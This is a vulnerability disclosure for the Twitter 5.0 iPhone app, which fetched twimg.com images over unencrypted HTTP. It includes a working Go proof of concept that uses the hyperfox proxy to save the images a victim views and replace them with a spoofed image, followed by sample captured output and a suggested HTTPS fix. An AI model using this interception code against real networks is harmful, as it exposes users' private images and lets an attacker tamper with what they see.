Twitter App vulnerable to eavesdropping

The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via Man In The Middle, this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app.

Details

The Twitter app communicates with the Twitter API via HTTPs connections, however, picture images server by *.twimg.com are received through simple HTTP.

Proof of concept

This proof of concept demostrates that is feasible for an attacker on the same LAN to download twitter photos the user is seeing and also sending bogus images intead of what the user wants to see.

Using this PoC, images served through *.twimg.com would be downloaded to the saved directory.

$ find saved
saved
saved/10.0.0.102
saved/10.0.0.102/a1.twimg.com
saved/10.0.0.102/a1.twimg.com/profile_images
saved/10.0.0.102/a1.twimg.com/profile_images/664534183
saved/10.0.0.102/a1.twimg.com/profile_images/664534183/IMG007_normal.jpg
saved/10.0.0.102/a1.twimg.com/profile_images/654328756
saved/10.0.0.102/a1.twimg.com/profile_images/654328756/IMG008_normal.png

Ando we are also going to send a specially crafted image instead of legitimate images

Specially crafted image

Screen captures of the image spoofing

Twitter app image spoofing Twitter app image spoofing

This custom hyperfox server will listen on :9999. Read the hyperfox docs to know how to use this PoC.

Only images on the *.twimg.com domain are targeted.

/*
  Twitter App, eavesdroping PoC

  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
*/

package main

import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
)

const imageFile = "spoof.jpg"

func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
    panic(err.Error())
  }
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)

  host := pr.Response.Request.Host

  if strings.HasSuffix(host, "twimg.com") == true {

    if pr.Response.ContentLength != 0 {

      file := "saved" + proxy.PS + pr.FileName

      var ext string

      contentType := pr.Response.Header.Get("Content-Type")

      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"
      }

      if ext != "" {
        fmt.Printf("** Saving image.\n")

        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

        fp, _ := os.Create(file)

        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
        }

        io.Copy(fp, pr.Response.Body)

        fp.Close()

        pr.Response.Body.Close()
      }

    }

    fmt.Printf("** Sending bogus image.\n")

    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image
  }

  return nil
}

func main() {

  p := proxy.New()

  p.AddDirector(logger.Client(os.Stdout))

  p.AddInterceptor(replaceAvatar)

  p.AddLogger(logger.Server(os.Stdout))

  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}

Suggested fix

Use HTTPs for serving *.twimg.com images so that an attacker would not be able to capture or modify avatars or (possible private) uploaded images.

Disclosure timeline